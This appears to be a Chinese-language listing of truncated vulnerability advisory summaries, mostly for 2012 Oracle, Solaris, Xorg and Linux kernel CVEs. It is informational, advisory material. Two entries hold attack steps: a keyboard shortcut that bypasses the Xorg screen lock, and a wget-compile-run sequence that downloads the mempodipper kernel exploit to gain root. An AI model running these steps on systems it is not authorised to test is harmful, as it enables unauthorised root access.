Xorg 1.11 爆本地安全漏洞：快捷键绕过锁屏界面

2016年10月21日 13 阅读

昨日， Linux 桌面系统爆出了低级严重的本地安全漏洞，只要是采用 Xorg 1.11 组件的 Linux 发行版，用户可以在不需输入密码的情况下，直接利用快捷键 Ctrl + Alt + * （数字键上的 *） 就可以绕过屏幕锁定状态。这个漏洞只影响运行了没有打补丁的Xorg server 1.11+ 组件的系统，目前涉及的发行版有Fedora 16, Arch Linux, Fuduntu, Debian unstable 等等。而由于 Ubuntu...

Oracle VM VirtualBox Shared Folders本地权限提升漏洞（CVE-2012-0111）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle VM VirtualBox 4.1描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51465CVE ID: CVE-2012-0111VirtualBox是一种x86的虚拟化产品。VirtualBox在实现上存在本地权限提升漏洞，本...

Oracle VM VirtualBox Windows Guest Additions本地权限提升漏洞（CVE-2012-0105）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle VM VirtualBox 4.1描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51461CVE ID: CVE-2012-0105VirtualBox是一种x86的虚拟化产品。VirtualBox在实现上存在本地权限提升漏洞，本...

Oracle GlassFish Enterprise Server远程拒绝服务漏洞（CVE-2012-0104）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle GlassFish Enterprise Server 3.1.1Oracle GlassFish Enterprise Server 3.0.1描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51484CVE ID: CVE-20...

Oracle GlassFish Enterprise Server Administration本地权限提升漏洞（CVE-2012-0081）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle GlassFish Enterprise Server 3.1.1描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51485CVE ID: CVE-2012-0081Oracle GlassFish Server是一款构建和部署下一...

Oracle GlassFish Enterprise Server Administration本地信息泄露漏洞（CVE-2012-3564）

2016年10月21日 13 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle GlassFish Enterprise Server 2.1.1描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51497CVE ID: CVE-2012-3564Oracle GlassFish Server是一款构建和部署下一...

Oracle Web Services Manager Web Services Security远程权限提升漏洞（CVE-2011-3568）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Web Services Manager 11.1.1.5Oracle Web Services Manager 11.1.1.4Oracle Web Services Manager 11.1.1.3描述：--------------------------------------------------------------------------------BUG...

Oracle Web Services Manager Web Services Security远程拒绝服务漏洞（CVE-2011-3531）

2016年10月21日 13 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Web Services Manager 11.1.1.5Oracle Web Services Manager 11.1.1.4Oracle Web Services Manager 11.1.1.3描述：--------------------------------------------------------------------------------BUG...

Oracle Weblogic Server Web Container远程拒绝服务漏洞（CVE-2011-3566）

2016年10月21日 13 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle WebLogic Server 9.2.4Oracle WebLogic Server 10.3.5.0Oracle WebLogic Server 10.3.4Oracle WebLogic Server 10.3.3描述：--------------------------------------------------------------------------...

Oracle Database Server Listener远程拒绝服务漏洞（CVE-2012-0072）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Oracle10g Enterprise Edition Oracle Oracle10g Personal Edition Oracle Oracle10g Standard Edition描述：--------------------------------------------------------------------------------BUGTRAQ ...

Oracle Database Server Core RDBMS远程拒绝服务漏洞

2016年10月21日 14 阅读

Oracle Database Server Core RDBMS远程拒绝服务漏洞发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Core RDBMS 11.2.0.3Oracle Core RDBMS 11.2.0.2Oracle Core RDBMS 11.1.0.7Oracle Core RDBMS 10.2.0.5Oracle Core RDBMS 10.2.0.4Oracle Core RDBMS 10.2....

Linux 2.6.39 到 3.2.0 爆提权漏洞

2016年10月21日 12 阅读

Linux 2.6.39 到 3.2.0 内核爆提权漏洞，普通用户可以通过运行特定代码获得 root 权限。重现方法：wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.ccc mempodipper.c./a.out在执行完毕后运行 whoami 来看是否执行成功。已知发行版情况：Debian Wheezy Testing: 成功。内核 3.1.0-1-amd64。Debian Securi...

Oracle Sun Solaris Kernel本地拒绝服务漏洞（CVE-2012-0103）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 11 Express描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51494CVE ID: CVE-2012-0103Oracle Sun Solaris是一款商业性质的操作系统。Oracle Sun So...

Oracle Sun Solaris Network远程拒绝服务漏洞（CVE-2012-0096）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 8 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：-----------------------------------------------------------------------------...

Oracle Sun Solaris Kerberos本地权限提升漏洞（CVE-2012-0100）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51475CVE ID: ...

Oracle Sun Solaris TCP/IP远程拒绝服务漏洞（CVE-2012-0094）

2016年10月21日 13 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 8 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：-----------------------------------------------------------------------------...

Oracle Sun Solaris本地信息泄露和拒绝服务漏洞（CVE-2012-0109）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 8 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：-----------------------------------------------------------------------------...

Oracle Sun Solaris本地信息泄露漏洞（CVE-2012-0097）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51498CVE ID: ...

Oracle Sun Solaris Kernel本地拒绝服务漏洞（CVE-2012-0098）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 8 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：-----------------------------------------------------------------------------...

Oracle Sun Solaris SSH远程拒绝服务漏洞（CVE-2012-0099）

2016年10月21日 12 阅读

发布日期：2012-01-17更新日期：2012-01-18受影响系统：Oracle Sun Solaris 9 ExpressOracle Sun Solaris 11 ExpressOracle Sun Solaris 10 Express描述：--------------------------------------------------------------------------------BUGTRAQ ID: 51500CVE ID: ...